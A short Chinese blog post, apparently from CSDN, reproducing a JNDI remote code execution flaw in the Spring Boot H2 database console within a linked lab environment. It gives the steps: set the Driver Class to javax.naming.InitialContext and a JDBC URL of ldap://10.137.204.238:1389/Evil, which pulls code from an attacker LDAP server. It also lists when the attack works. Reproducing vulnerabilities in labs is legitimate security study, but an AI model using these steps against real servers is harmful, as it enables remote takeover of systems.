h2 database console JNDI RCE复现

h2 database console JNDI RCE复现

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce

漏洞复现:

  1. 访问 /h2-console 接口,目标会跳转到 /h2-console/login.do,这有一个可以连接 JDBC 服务的功能

  2. 把 Driver Class 设置为 javax.naming.InitialContext,JDBC URL 设置为 ldap://10.137.204.238:1389/Evil,账号密码均设置为空,点击 Connect 即可(Setting Name和Saved Settings随意)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tyledjJP-1639053878368)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20211209204111394.png)]

利用条件:

  1. 目标可出外网,即可以连接到恶意 LDAP 服务
  2. spring.h2.console.enabled=true 配置为 true,为 false 则访问不了 /h2-console 接口

Reference:

https://github.com/LandGrey/SpringBootVulExploit
https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值